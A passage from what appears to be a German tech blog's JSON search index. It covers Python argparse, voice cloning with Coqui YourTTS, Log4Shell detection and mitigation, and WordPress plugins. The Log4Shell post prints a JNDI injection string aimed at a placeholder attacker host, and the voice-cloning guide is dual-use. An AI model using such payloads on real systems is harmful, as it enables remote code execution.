attraktiver zu machen, sodass sie auf der Ergebnisseite weiter oben angezeigt wird, wenn Personen nach Schlüsselwörtern suchen, die sich auf deine Inhalte beziehen.\nDas kann durch eine Vielzahl von Taktiken erreicht werden.","title":"Traffic und Suchmaschinenranking steigern"},{"content":"Wenn du eine Pythonanwendung für die Kommandozeile entwickelst, wollen deine User früher oder später die Möglichkeit ihre Parameter direkt beim Programmstart mitgeben können. In diesem Beitrag findest du ein paar Beispiele, wie du Argumente/Parameter aus der Kommandozeile in Python verarbeiten kannst.\nParameter sind die möglichen Werte, die ein Programm verarbeiten kann. Argumente hingegen sind nur die Werte, die tatsächlich vom User übergeben werden.\nIn diesem Beitrag erfährst du zunächst, wie du mit dem sys Modul deinen eigenen Parser bauen könntest und warum das keine gute Idee ist. Im anschließenden Teil stelle ich dir das build-in Modul argparse vor, das seit Python 3.2 dabei ist.\nViel Spaß!\nManuell mit sys Wenn du es nicht kompliziert magst kannst du einfach das sys Modul verwenden um alle Argumente als Liste von Strings zu erhalten und von Hand verarbeiten.\ntest.py:\nimport sys print (sys.argv) python test.py --test 123 [\u0026#39;test.py\u0026#39;, \u0026#39;--test\u0026#39;, \u0026#39;123\u0026#39;] Das Problem an diesem manuellen Parsing ist, dass es in großen Projekten sehr schnell sehr viele Parameter gibt. Das kann kompliziert werden.\nWenn du dir zum Beispiel das vermeintlich einfache Linux Tool ls anschaust, mit dem du dir den Inhalt eines Ordners anzeigen lassen kannst\u0026hellip; Dann versteht dieses um die 60 verschiedenen Parameter. Manche davon sind sogar mit mehreren Namen erreichbar. So ist zum Beispiel das Flag \u0026ldquo;\u0026ndash;all\u0026rdquo; identisch mit \u0026ldquo;-a\u0026rdquo;.\nAndere Parameter erwarten einen zweiten Parameter, also einen Parameter der direkt hinter dem ersten folgt. Dieser zweite Parameter darf dann natürlich nicht als normaler Parameter gewertet werden da es sonst zu Problemen führen kann.\nManchmal kommt es vor, dass ein User ein Argument verwendet, das es eigentlich nicht als Parameter gibt. Im Idealfall willst du diesen User warnen damit er nicht verwirrt ist wenn etwas nicht so funktioniert wie er sich das gedacht hat.\nZu guterletzt solltest du dann noch die eine Hilfe für dein Programm schreiben womit der Benutzer die möglichen Parameter nachschlagen kann.\nAll diese Aufgaben nimmt dir das argparse Modul sehr elegant ab!\nAutomatisch mit argparse Mit argparse kannst du die unterschiedlichen Argumententypen im Quellcode definieren und argparse baut dir automatisch eine Hilfedatei aus deinem Quellcode.\nHier ein Beispiel von einem Programm komplett ohne Argumente.\ntest.py:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) args = parser.parse_args() In args, werden alle Parameter die der User mitgibt gespeichert. Wie zu erwarten passiert in diesem Beispiel nichts wenn du keine Argumente mitgibst:\npython test.py argparse erstellt automatisch ein optionales -h bzw. \u0026ndash;help Argument, mit dem eine automatisch generierte Hilfe angezeigt wird. Dort siehst du 1) die Usage in kurzer Schreibweise 2) die Beschreibung aus dem \u0026ldquo;Description\u0026rdquo; Parameter und 3) eine Liste von allen Argumenten und deren Beschreibung:\npython test.py -h usage: test.py [-h] Dies ist mein erstes Programm. optional arguments: -h, --help show this help message and exit Wenn der User ein Argument verwendet, welches du nicht definiert hast, bekommt er eine entsprechende Fehlermeldung angezeigt:\npython test.py --kekse usage: test.py [-h] test.py: error: unrecognized arguments: --kekse Flags \u0026ndash;help ist ein sogenanntes Flag. Also ein boolscher Parameter, der entweder gesetzt sein kann (True) oder nicht gesetzt sein kann (False).\nWenn du ein eigenes Flag hinzuzufügen willst geht das mit der add_argument() Methode. Im folgenden fügen wir das -v Flag hinzu.\ntest.py:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) parser.add_argument( \u0026#34;-v\u0026#34;, \u0026#34;--verbose\u0026#34;, help=\u0026#34;Verbose, use this flag for debugging.\u0026#34;, action=\u0026#34;store_true\u0026#34;, ) args = parser.parse_args() print (args.verbose) python test.py -v True Das args Objekt ist vom Typ argparse.Namespace. Du kannst es wie ein Named Tuple verwenden um auf deine Parameter zuzugreifen. In diesem Fall ist args.verbose True wenn das -v bzw. \u0026ndash;verbose Flag gesetzt ist und False wenn es nicht gesetzt ist.\npython test.py False Der Parameter action=\u0026quot;store_true\u0026quot; bewirkt, dass es sich um ein Flag und nicht um einen Wert handelt.\nParameter mit Wert Einen Parameter mit einem Wert zu erwarten funktioniert sehr ähnlich:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) parser.add_argument( \u0026#34;-u\u0026#34;, \u0026#34;--username\u0026#34;, help=\u0026#34;Valid username\u0026#34;, ) args = parser.parse_args() print (args.username) python test.py -u quisl quisl Und das passiert wenn der User den Wert vergisst:\npython test.py -u usage: test.py [-h] [-u USERNAME] test.py: error: argument -u/--username: expected one argument Parameter mit mehreren Werten Wenn du mehrere Werte bei einem Parameter erwarten willst, kannst du das mit \u0026ldquo;nargs\u0026rdquo; tun:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) parser.add_argument( \u0026#34;-l\u0026#34;, \u0026#34;--list\u0026#34;, nargs=\u0026#34;+\u0026#34;, help=\u0026#34;woerterliste\u0026#34;, ) args = parser.parse_args() print (args.list) python test.py --list abc def [\u0026#39;abc\u0026#39;, \u0026#39;def\u0026#39;] Anstelle von \u0026ldquo;+\u0026rdquo; kannst du auch eine bestimmte Anzahl mitgeben. Hier eine Übersicht:\nnargs Beschreibung 1 Genau 1 Wert 2 Genau 2 Wert \u0026ldquo;+\u0026rdquo; 1 bis unendlich (∞) \u0026ldquo;*\u0026rdquo; 0 bis unendlich (∞) Zahlen müssen als Integer übergeben werden, nicht als String!\nAuswahl aus vordefinierten Werten Mit \u0026ldquo;Choices\u0026rdquo; kannst du bestimmte Werte vorgeben. Dazu kann jede Liste und Generator dienen:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) parser.add_argument( \u0026#34;-m\u0026#34;, \u0026#34;--move\u0026#34;, choices=[\u0026#39;papier\u0026#39;, \u0026#39;stein\u0026#39;, \u0026#39;schere\u0026#39;], help=\u0026#34;Choose a move\u0026#34;, ) args = parser.parse_args() print (args.move) python test.py -m stein stein Gleichzeitig wird der User gewarnt, wenn er etwas falsches gibt.\npython test.py -m pferd usage: test.py [-h] [-m {papier,stein,schere}] test.py: error: argument -m/--move: invalid choice: \u0026#39;pferd\u0026#39; (choose from \u0026#39;papier\u0026#39;, \u0026#39;stein\u0026#39;, \u0026#39;schere\u0026#39;) Aktion mit Subparsern Manche Programme haben bestimmte Kommandos die unterschiedliche Parametersets haben können. Zum Beispiel kann es ein \u0026ldquo;read\u0026rdquo; Kommando geben, und ein \u0026ldquo;write\u0026rdquo; Kommando geben, das einen Text als Parameter erwartet.\nUm dem User nicht die Möglichkeit zu geben einen Read Befehl mit dem Text Parameter abzuschicken kannst du Subparser verwenden. Hier ein Beispiel mit read(path) und write(path, text):\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) subparsers = parser.add_subparsers(help=\u0026#39;sub-command help\u0026#39;, dest=\u0026#34;parsername\u0026#34;) # parser fuer das \u0026#34;read\u0026#34; Kommando parser_read = subparsers.add_parser(\u0026#39;read\u0026#39;, help=\u0026#39;read help\u0026#39;) parser_read.add_argument( \u0026#34;-p\u0026#34;, \u0026#34;--path\u0026#34;, help=\u0026#34;path for a file\u0026#34;, ) # parser fuer das \u0026#34;write\u0026#34; Kommando parser_write = subparsers.add_parser(\u0026#39;write\u0026#39;, help=\u0026#39;write help\u0026#39;) parser_write.add_argument( \u0026#34;-p\u0026#34;, \u0026#34;--path\u0026#34;, help=\u0026#34;path for a file\u0026#34;, ) parser_write.add_argument( \u0026#34;-t\u0026#34;, \u0026#34;--text\u0026#34;, help=\u0026#34;text to write\u0026#34;, ) args = parser.parse_args() print (args) python test.py write --path /a/b --text abcdefg Namespace(parsername=\u0026#39;write\u0026#39;, path=\u0026#39;/a/b\u0026#39;, text=\u0026#39;abcdefg\u0026#39;) oder read:\npython test.py read --path /a/b Namespace(parsername=\u0026#39;read\u0026#39;, path=\u0026#39;/a/b\u0026#39;) Wie du siehst, wird immer nur der gewählte Subparser verarbeitet. Die Hilfedatei sieht wie folgt aus:\npython test.py --help usage: test.py [-h] {read,write} ... Dies ist mein erstes Programm. positional arguments: {read,write} sub-command help read read help write write help optional arguments: -h, --help show this help message and exit Oder nur den read Parser:\npython test.py read --help usage: test.py read [-h] [-p PATH] optional arguments: -h, --help show this help message and exit -p PATH, --path PATH path for a file Optional vs required Bisher waren hier alle Beispiele optionale Werte. Optionale Werte können einen Defaultwert haben. Dieser wird verwendet wenn der User einen Parameter nicht als Argument mitgibt. Du kannst diese mit \u0026ldquo;default\u0026rdquo; definieren:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) parser.add_argument( \u0026#34;-u\u0026#34;, \u0026#34;--username\u0026#34;, default=\u0026#34;forsen\u0026#34;, help=\u0026#34;Valid username\u0026#34;, ) args = parser.parse_args() print (args.username) python test.py forsen Alternativ kannst du einen Parameter auch als zwingend benötigt, also \u0026ldquo;required\u0026rdquo; definieren. Dann gibt es einen Fehler wenn er nicht vorhanden ist:\nimport argparse parser = argparse.ArgumentParser(description=\u0026#39;Dies ist mein erstes Programm.\u0026#39;) parser.add_argument( \u0026#34;-u\u0026#34;, \u0026#34;--username\u0026#34;, required=True, help=\u0026#34;Valid username\u0026#34;, ) args = parser.parse_args() print (args.username) python test.py usage: test.py [-h] -u USERNAME test.py: error: the following arguments are required: -u/--username Offizielle Dokumentation Dieser Beitrag soll nur eine Einführung gewesen sein. Es gibt noch viel mehr Mölichkeiten. Guck dir dazu am besten mal die offizielle Dokumentation an!\n","permalink":"https://quisl.de/b/python-parameter-argparse/","summary":"Wenn du eine Pythonanwendung für die Kommandozeile entwickelst, wollen deine User früher oder später die Möglichkeit ihre Parameter direkt beim Programmstart mitgeben können. In diesem Beitrag findest du ein paar Beispiele, wie du Argumente/Parameter aus der Kommandozeile in Python verarbeiten kannst.\nParameter sind die möglichen Werte, die ein Programm verarbeiten kann. Argumente hingegen sind nur die Werte, die tatsächlich vom User übergeben werden.\nIn diesem Beitrag erfährst du zunächst, wie du mit dem sys Modul deinen eigenen Parser bauen könntest und warum das keine gute Idee ist.","title":"Python Parameter Argparse"},{"content":"In diesem Artikel lernst du, wie du ein Text-To-Speech mit deiner eigenen Stimme erstellen kannst. Dazu nutzen wir das Programm Coqui. Im Folgendem werde ich auf die sogenannte Zero Shot Methode mit dem YourTTS Modell eingehen.\nDamit kannst du mit nur einem einzigen Sprachsample zu einem TTS mit deiner eigenen Stimme kommen. Ziemlich schnell und einfach, wenn man bedenkt, dass man dafür früher mehrere Stunden Audiomaterial aufnehmen musste! Bei dieser Technik wird der Stimmklang eines Samples mit einem bereits existierenden TTS Modell verschmolzen. Manchmal klingt das sofort schon ganz ordentlich. Oft wirst du allerdings etwas herumprobieren müssen.\nFalls das Ergebnis mit dieser Zero Shot Methode nicht zufriedenstellend ist, hast du nur noch die Möglichkeit dir ein eigenes Modell mit deiner Stimme anzutrainieren. Dazu müsstest du mehrere Stunden Audiosamples aufnehmen und diese transkribieren. Auch wenn das deutlich aufwendiger ist, ist es dann noch die einzige Möglichkeit auf ein perfektes Ergebnis. Der Aufwand beim Antrainieren würde allerdings etwas den Rahmen dieses Beitrags sprengen. Deswegen gehe ich am Ende dieses Beitrags nur kurz darauf ein. Schau dir dazu am besten direkt die offizielle Dokumentation von Coqui TTS an.\nDoch zunächst zeige ich die einfache Methode mit YourTTS. Wenn du es einfach zur mal online testen willst wie es sich anhört bevor du irgendwas installierst, dann kannst du das hier tun.\nWas ist Coqui Coqui ist ein Softwareprojekt, das von Mozilla Entwicklern ins Leben gerufen wurde. Der Code wird auf GitHub veröffentlicht und aktiv weiterentwickelt. Der Name kommt vom spanischen Coquí Frosch, den man \u0026ldquo;ko-kee\u0026rdquo; ausspricht.\nDas Projekt hat sich zum Ziel gemacht, Voice Technologien für die Allgemeinheit zur Verfügung zu stellen. Die umfangreichsten Unterprojekte sind die beiden Projekte Speech-To-Text und Text-To-Speech.\nMit letzterem kannst du Texte mit unterschiedlichen Stimmmodellen vorlesen lassen. Das Modell, das wir benutzen werden, nennt sich YourTTS Multispeaker.\nYourTTS Multispeaker YourTTS ist ein Text-To-Speech Modell von Edresson Casanova, Julian Weber, Christopher Shulby, Arnaldo Candido Junior, Eren Gölge und Moacir Antonelli Ponti. Es ist im Rahmen eines Projekts an der Cornell Universität entstanden.\nNormalerweise brauchst du mehrere Stunden an Audiomaterial, um ein neues TTS Modell zu erzeugen. YourTTS löst dieses Problem, indem es ein bestehendes Modell nimmt und dabei die Klangfarbe so verändert, dass die Stimme wie ein Audiosample klingt, das du beim Generieren mitgibst. Das bedeutet, dass du kein eigenes Modell trainieren musst.\nAktuell lassen sich nur englische, portugiesische und französische Stimmen mit YourTTS erzeugen. Falls du weitere Sprachen brauchst, müsstest du etwas tiefer in den Quellcode einsteigen. Für Englisch gibt es zwei Modelle. Eines für männliche und eines für weibliche Stimmen.\nCoqui TTS installieren Folgendes habe ich bisher nur auf Linux bzw. in der Ubuntuapp unter Windows getestet.\nZunächst muss Python mit Pip installiert sein. Anschließend kannst du das Coqui TTS Projekt aus dem Pip Repository installieren.\nsudo apt update sudo apt install python3-pip sudo pip install TTS Jetzt solltest du tts als Shellbefehl zur Verfügung haben. Das kannst du testen, indem du ein kurzes Audiofile mit Standardeinstellungen erzeugst.\ntts --text \u0026#34;This is only a test\u0026#34; Danach müsste sich eine Audiodatei mit dem Namen \u0026ldquo;tts_output.wav\u0026rdquo; in deinem aktuellen Verzeichnis befinden.\nTTS mit YourTTS erzeugen Um das YourTTS Modell zu verwenden, reicht es aus, die Modell-ID anzugeben, da es bereits Teil des Coqui Projektes ist. TTS wird das Modell automatisch herunterladen und installieren.\nJetzt brauchst du nur noch ein Audiosample mit Sprachaufnahmen, die du als Input verwenden willst. Speichere diese Aufnahmen im Wave Format als \u0026ldquo;example.wav\u0026rdquo; ab.\nDer folgende Befehl erzeugt die Audiodatei mit YourTTS.\ntts --text \u0026#34;This is only a test\u0026#34; --model_name \u0026#34;tts_models/multilingual/multi-dataset/your_tts\u0026#34; --speaker_wav \u0026#34;example.wav\u0026#34; --language_idx \u0026#34;en\u0026#34; --speaker_idx \u0026#34;male-en-2\u0026#34; --out_path \u0026#34;output.wav\u0026#34; Mit etwas Glück hört sich das schon sehr gut an. Spiel am besten mit unterschiedlichen Audiosamples desselben Sprechers herum. Idealerweise sollten diese Aufnahmen um die 20 Sekunden lang sein. Es funktioniert aber auch mit kürzeren Samples.\nUm die weibliche speaker_idx zu verwenden, musst du \u0026ldquo;male-en-2\u0026rdquo; auf \u0026ldquo;female-en-5\u0026rdquo; ändern. Auch hier ist herumprobieren angesagt.\nUnd schon hast du deine custom TTS Stimme.\nHinweis Zum Schluss noch ein Hinweis: Bitte beachte, dass du Sprachaufnahmen von anderen Personen nur mit deren Einwilligung verwenden solltest. Diese Technologie sollte nicht für Fälschungen, Betrug oder Mobbing eingesetzt werden.\nEigenes TTS Modell trainieren Wenn sich deine YourTTS Soundfiles nicht gut genug anhören, musst du wohl oder übel dein eigenes Modell bauen. Im Folgenden mal kurz angeschnitten, was du dafür tun müsstest. Am besten schaust du dir aber noch ein spezielleres Tutorial dazu an.\nACHTUNG: du brauchst mehrere Stunden Audiosamples, damit dein Modell überhaupt annähernd menschlich klingt. Mindestens 4, besser wären 10-20 Stunden!\nCoqui selbst bauen Zunächst musst du das komplette Projekt auf deinem Linux Computer bauen. Die oben gezeigte Variante mit Pip ist nicht ausreichend. Meines Wissens gibt es das Projekt noch nicht in einer Softwareverteilung.\ngit clone https://github.com/coqui-ai/TTS\rpip install -e .[all,dev,notebooks] Aufnahme mit mycroft Anschließend musst du deine Audiosamples aufnehmen und im LJSpeech Format abspeichern. Zum Aufnehmen kannst du Mycroft verwenden. Dazu musst du Texte haben, die du einsprichst. Diese müssen Satz für Satz transkribiert sein. Beachte, dass du geeignete Texte verwendest. Vor allem Zahlen und Sonderzeichen wollen oft auch gelernt sein.\nLJSpeech Format Das LJSpeech Format sieht wie folgt aus.\nProjektordner\r* transcripts.csv\r* samples\r** sample1.wav\r** sample2.wav\r** sample3.wav\r... Die transcripts.csv braucht Zeilen mit folgenden drei Spalten, die jeweils mit einem Pipe symbol ( | ):\nSpalte Beschreibung ID Dateiname der Wav Transcription Text, den der Leser eingesprochen hat Normalized Transcription Wie Transcription, nur Zahlen und Symbole (wie $ oder €) als Wörter Alles sollte in UTF-8 geschrieben werden.\nHier die Grundlegenden Dinge zu Datasets.\nTraining starten Hier die offizielle Anleitung.\nDu benötigst eine config.json Datei, in der alle Informationen über das Modell stehen. Hier ein Beispiel:\n{ \u0026#34;model\u0026#34;: \u0026#34;glow_tts\u0026#34;, \u0026#34;batch_size\u0026#34;: 32, \u0026#34;eval_batch_size\u0026#34;: 16, \u0026#34;eval_split_size\u0026#34;: 0.0625, \u0026#34;num_loader_workers\u0026#34;: 4, \u0026#34;audio\u0026#34;: { // stft parameters \u0026#34;fft_size\u0026#34;: 1024, // number of stft frequency levels. Size of the linear spectogram frame. \u0026#34;win_length\u0026#34;: 1024, // stft window length in ms. \u0026#34;hop_length\u0026#34;: 256, // stft window hop-lengh in ms. \u0026#34;frame_length_ms\u0026#34;: null, // stft window length in ms.If null, \u0026#39;win_length\u0026#39; is used. \u0026#34;frame_shift_ms\u0026#34;: null, // stft window hop-lengh in ms. If null, \u0026#39;hop_length\u0026#39; is used. // Audio processing parameters \u0026#34;sample_rate\u0026#34;: 22050, // DATASET-RELATED: wav sample-rate. If different than the original data, it is resampled. \u0026#34;preemphasis\u0026#34;: 0.0, // pre-emphasis to reduce spec noise and make it more structured. If 0.0, no -pre-emphasis. \u0026#34;ref_level_db\u0026#34;: 20, // reference level db, theoretically 20db is the sound of air. // Silence trimming \u0026#34;do_trim_silence\u0026#34;: true, // enable trimming of slience of audio as you load it. LJspeech (false), TWEB (false), Nancy (true) \u0026#34;trim_db\u0026#34;: 60, // threshold for timming silence. Set this according to your dataset. // Griffin-Lim \u0026#34;power\u0026#34;: 1.5, // value to sharpen wav signals after GL algorithm. \u0026#34;griffin_lim_iters\u0026#34;: 60, // #griffin-lim iterations. 30-60 is a good range. Larger the value, slower the generation. // MelSpectrogram parameters \u0026#34;num_mels\u0026#34;: 80, // size of the mel spec frame. \u0026#34;mel_fmin\u0026#34;: 0.0, // minimum freq level for mel-spec. ~50 for male and ~95 for female voices. Tune for dataset!! \u0026#34;mel_fmax\u0026#34;: 8000.0, // maximum freq level for mel-spec. Tune for dataset!! \u0026#34;spec_gain\u0026#34;: 1, // scaler value appplied after log transform of spectrogram. // Normalization parameters \u0026#34;signal_norm\u0026#34;: true, // normalize spec values. Mean-Var normalization if \u0026#39;stats_path\u0026#39; is defined otherwise range normalization defined by the other params. \u0026#34;min_level_db\u0026#34;: -100, // lower bound for normalization \u0026#34;symmetric_norm\u0026#34;: true, // move normalization to range [-1, 1] \u0026#34;max_norm\u0026#34;: 4.0, // scale normalization to range [-max_norm, max_norm] or [0, max_norm] \u0026#34;clip_norm\u0026#34;: true // clip normalized values into the range. }, \u0026#34;num_eval_loader_workers\u0026#34;: 4, \u0026#34;run_eval\u0026#34;: true, \u0026#34;test_delay_epochs\u0026#34;: -1, \u0026#34;epochs\u0026#34;: 1000, \u0026#34;text_cleaner\u0026#34;: \u0026#34;english_cleaners\u0026#34;, \u0026#34;use_phonemes\u0026#34;: false, \u0026#34;phoneme_language\u0026#34;: \u0026#34;en-us\u0026#34;, \u0026#34;phoneme_cache_path\u0026#34;: \u0026#34;phoneme_cache\u0026#34;, \u0026#34;print_step\u0026#34;: 25, \u0026#34;print_eval\u0026#34;: true, \u0026#34;mixed_precision\u0026#34;: false, \u0026#34;output_path\u0026#34;: \u0026#34;output/glow_tts/\u0026#34;, \u0026#34;test_sentences\u0026#34;: [ \u0026#34;Test this sentence.\u0026#34;, \u0026#34;This test sentence.\u0026#34;, \u0026#34;Sentence this test.\u0026#34; ], \u0026#34;datasets\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;ljspeech\u0026#34;, \u0026#34;meta_file_train\u0026#34;: \u0026#34;transcripts.csv\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/mnt/d/voice/testordner/\u0026#34; } ] } Vor allem die Pfade solltest du vor dem Training anpassen. Da das Training sehr lange dauern kann, lohnt es sich CUDA zu installieren und das Training mit deiner Grafikkarte auszuführen. Theoretisch geht es aber auch mit der CPU in endlicher Zeit.\nDas Training kannst du so starten:\npython train_tts.py --config_path config.json Samples mit neuem Modell erstellen Am Ende sollte Coqui eine .pht Datei für dich erzeugt haben. Dies ist deine Modelldatei. Mit der Datei und deiner config.json lässt sich daraus eine Audiodatei generieren.\ntts --text \u0026#34;This is only a test\u0026#34; --model_path output/glow_tts/run-April-12-2022_01+12AM-0000000/best_model.pth --config_path config.json --out_path output.wav ","permalink":"https://quisl.de/b/tts-mit-eigener-stimme/","summary":"In diesem Artikel lernst du, wie du ein Text-To-Speech mit deiner eigenen Stimme erstellen kannst. Dazu nutzen wir das Programm Coqui. Im Folgendem werde ich auf die sogenannte Zero Shot Methode mit dem YourTTS Modell eingehen.\nDamit kannst du mit nur einem einzigen Sprachsample zu einem TTS mit deiner eigenen Stimme kommen. Ziemlich schnell und einfach, wenn man bedenkt, dass man dafür früher mehrere Stunden Audiomaterial aufnehmen musste! Bei dieser Technik wird der Stimmklang eines Samples mit einem bereits existierenden TTS Modell verschmolzen.","title":"Text-To-Speech mit eigener Stimme erstellen"},{"content":"Log4Shell ist eine Sicherheitslücke im Java Modul Log4j. In der CVE Datenbank trägt sie den Namen CVE-2021-44228. Diese Lücke bewirkt, dass während des Loggingprozesses, also beim Erstellen von Logdateien, Teile der zu loggenden Daten ausgeführt werden können.\nAufgrund der weiten Verbreitung von Java, der Gefährlichkeit und der einfachen Umsetzung eines Angriffs wurde diese Sicherheitslücke vom BSI mit der Warnstufe Rot gekennzeichnet.\nIn diesem Beitrag zeige ich dir ein paar Tricks \u0026amp; Tipps, wie du erkennen kannst, ob du erstens betroffen bist, zweitens, ob du angegriffen wurdest und drittens wie du dich vor zukünftigen Log4Shell Angriffen schützen kannst.\nWas ist Log4Shell? Log4j loggt bei Webservern in der Regel auch die Headerdaten von Requests. So kann ein Angreifer mithilfe dieser Schwachstelle Schadcode auf einem Webserver ausführen, der dieses Modul nutzt. Das passiert, indem er einen Link zum Schadcode mit einer speziellen Zeichenfolge im Header mitgibt. Log4Shell versucht diesen Link aufzulösen und den darin enthaltenen Code auszuführen. Dadurch kann sich der Angreifer eine Shell auf dem Server öffnen. Diese Shell läuft dann über den User, der auch Log4j ausführt. In der Regel ist das der Webserveruser.\nBeispielsweise könnte die folgende Zeichenfolge in den Headerdaten zu einem erfolgreichen Angriff führen:\n\u0026#34;${jndi:ldap://URL_DES_ANGREIFERS/a}\u0026#34; Diese Zeichen lassen Log4j die URL aufrufen und den dortigen Code ausführen. Somit ist die Voraussetzung einer Remote-Code-Execution geschaffen.\nLaut dem BSI kann diese Schwachstelle auch noch Wochen und Monate nach Schließung zu einem Problem werden, wenn eine unentdeckte Infektion stattfand. Daher solltest du deine Logs durchgehen und gucken, ob es Angriffsversuche gab, sofern du betroffen bist. Wie das geht, ist im Kapital \u0026ldquo;Wie erkenne ich, ob ich mit Log4Shell gehackt wurde?\u0026rdquo; beschrieben.\nLaut dem Cloud-Security-Team von Alibaba wurde diese Sicherheitslücke am 24. November 2021 zum ersten Mal privat gemeldet und schließlich am 9. Dezember 2021 öffentlich gemacht. Ob sie davor schon genutzt wurde, ist nicht bekannt, allerdings existiert sie bereits seit 2013. Da Java eine der meistgenutzten Programmiersprachen der Welt ist, kannst du davon ausgehen, dass mehrere Millionen Geräte betroffen sind.\nWie erkenne ich, ob ich von Log4Shell betroffen bin? Grundsätzlich ist jede Log4j Version zwischen 2.0-beta und 2.16.0 betroffen. Falls du nicht genau weißt, welche Version deine Programme verwenden kannst du den Vulnerability scanner von Logpresso verwenden.\nDieser Scanner guckt sich alle Dateien in einem Pfad an und prüft alle Dateien mit einer Java Dateiendung wie etwa .jar Dateien. Anschließend siehst du eine Liste von allen Javaprogrammen, die eine betroffene Version von Log4j enthalten.\nSo installierst du ihn unter Linux:\nwget https://github.com/logpresso/CVE-2021-44228-Scanner/releases/download/v2.3.2/logpresso-log4j2-scan-2.3.2-linux.tar.gz tar xvf logpresso-log4j2-scan-2.3.2-linux.tar.gz Um jetzt noch deinen kompletten Ordnerbaum zu scannen, kannst es einfach mit einem / als Parameter ausführen.\n./log4j2-scan / Je nach Festplattengröße kann der Scan mehrere Sekunden bis sogar Stunden dauern.\nWie erkenne ich, ob ich mit Log4Shell gehackt wurde? Leider gibt es keine hundert prozentige Möglichkeit, um eine Infektion auszuschließen. Aber neben herkömmlichen Methoden wie Antivirensoftware kannst du auch versuchen deine Logdateien zu überprüfen. Falls es Angriffsversuche gab, müssten diese nämlich von Log4j geloggt geworden sein.\nDer Entwickler Neo230x (Cyb3rops) hat ein Pythontool entwickelt, welches Logdateien durchlesen und nach Angriffsversuchen scannen kann. Dieses Tool kann sogar unterschiedliche Codeverschleierungen erkennen, indem auch nach dynamischen Zeichenpositionen gesucht wird.\ngit clone https://github.com/Neo23x0/log4shell-detector.git cd log4shell-detector/ python log4shell-detector.py -p DATEIPFAD_ZU_DEN_LOGS Um es auszuführen brauchst du natürlich Python.\nDu solltest im Hinterkopf behalten, dass der Angreifer seine Spuren auch verwischen kann, wenn er Zugriff auf die Logs hat.\nWie schütze ich mich vor Log4Shell? Letztendlich müssen wir noch klären, wie man einer Infektion vorbeugt. Dazu drei Punkte:\nDer theoretisch sicherste Weg wäre auf Javasoftware zu verzichten. Praktisch ist das natürlich keine Option. 2) Versuche die Log4j Version der betroffenen Tools auf 2.16. oder besser 2.17. zu updaten. Idealerweise hältst du deine Software immer auf den neusten Stand. Leider ist das bei Programmen, die du nicht selbst programmiert hast, nicht immer möglich. 3) Ist auch das nicht möglich hast du noch eine dritte Möglichkeit. Du kannst die Log4j2-format-msg Lookups für deine Java Programme komplett deaktivieren. Das funktioniert mit dem Java Parameter formatMsgNoLookups. Dazu funktioniert über mehrere Wege. Zum Beispiel über die Java Settings oder als Java Parameter. ","permalink":"https://quisl.de/b/schutz-vor-log4shell/","summary":"Log4Shell ist eine Sicherheitslücke im Java Modul Log4j. In der CVE Datenbank trägt sie den Namen CVE-2021-44228. Diese Lücke bewirkt, dass während des Loggingprozesses, also beim Erstellen von Logdateien, Teile der zu loggenden Daten ausgeführt werden können.\nAufgrund der weiten Verbreitung von Java, der Gefährlichkeit und der einfachen Umsetzung eines Angriffs wurde diese Sicherheitslücke vom BSI mit der Warnstufe Rot gekennzeichnet.\nIn diesem Beitrag zeige ich dir ein paar Tricks \u0026amp; Tipps, wie du erkennen kannst, ob du erstens betroffen bist, zweitens, ob du angegriffen wurdest und drittens wie du dich vor zukünftigen Log4Shell Angriffen schützen kannst.","title":"Wie du dich vor Log4Shell schützt"},{"content":"Einer der großen Vorteile von WordPress ist die einfache Erweiterbarkeit mithilfe von Plugins. In diesem Beitrag möchte ich eine kurze Übersicht geben, welche gratis WordPress-Plugins ich für diesen Blog aktuell benutze. Vielleicht kannst du den ein oder anderen Tipp mitnehmen.\nAlle Plugins in dieser Liste nutze ich in der kostenlosen Variante. Bei vielen davon kriegst du gegen Geld noch ein paar weitere Features. Viel Spaß!\nPluginempfehlungen Ich habe die Plugins grob zwischen internen und externen Plugins unterteilt. Während externe Plugins die Leseerfahrung direkt beeinflussen, sind interne Plugins eher nur für dich als Webseitenbetreiber interessant.\nInnerhalb der Kategorien sind die Plugins alphabetisch sortiert. Mit der Reihenfolge möchte ich nichts über die Qualität aussagen.\nExterne Plugins Hier folgen die Plugins für eine bessere Leseerfahrung: 301 Redirects für Weiterleitungen, Contextual Related Posts für Content-Empfehlungen, GDPR Cookie Consent für Einwilligungen, Smush für schnellere Ladezeiten, Stream Status for Twitch für Twitch Integration, WP Super Cache für schnellere Ladezeiten und Yoast SEO für Suchmaschinentexte.\n301 Redirects Der HTTP Code 301 ist dazu da dem Browser deines Besuchers zu sagen, dass sich der URL Pfad zu einer Ressource z.B. zu einem bestimmten Beitrag geändert hat. Mit dem Plugin 301 Redirects kannst du diesen HTTP Code erzeugen und der Browser leitet den User automatisch zum neuen URL-Pfad weiter.\nIch habe mal meine URLs geändert. Mit 301 Redirects stelle ich sicher, dass die alten Links auch heute noch noch funktionieren. Kaputte Links können nämlich dein Ranking in bei Suchmaschinen verschlechtern. Daher ist es aus Suchmaschinenoptimierungsgründen (SEO) eine gute Idee möglichst keine Links zu verändern. Wenn du es doch tust, dann nutze am besten 301 Redirects!\nContextual Related Posts Ich hatte früher den Fall, dass die Leute meinen Blog über Suchmaschinen zwar schnell gefunden haben, allerdings waren sie genauso schnell wieder weg. Dies nennt man einen \u0026ldquo;Bounce\u0026rdquo;. Als Webseitenbetreiber der vom Traffic profitiert will ich die Leute natürlich so lange wie möglich auf meiner Seite halten. Das geht natürlich nur, wenn man den Besuchern sagt, welchen interessanten Content es noch auf der Seite gibt.\nDas Plugin Contextual Related Posts analysiert all deine Beiträge und kann dadurch ähnliche Beiträge erkennen. Anschließend kannst du ein Widget am Ende deines Posts oder in der Seitenzeile einbinden. In diesem Widget werden dann themenrelevante Vorschläge für interessante Beiträge auf deinem Blog 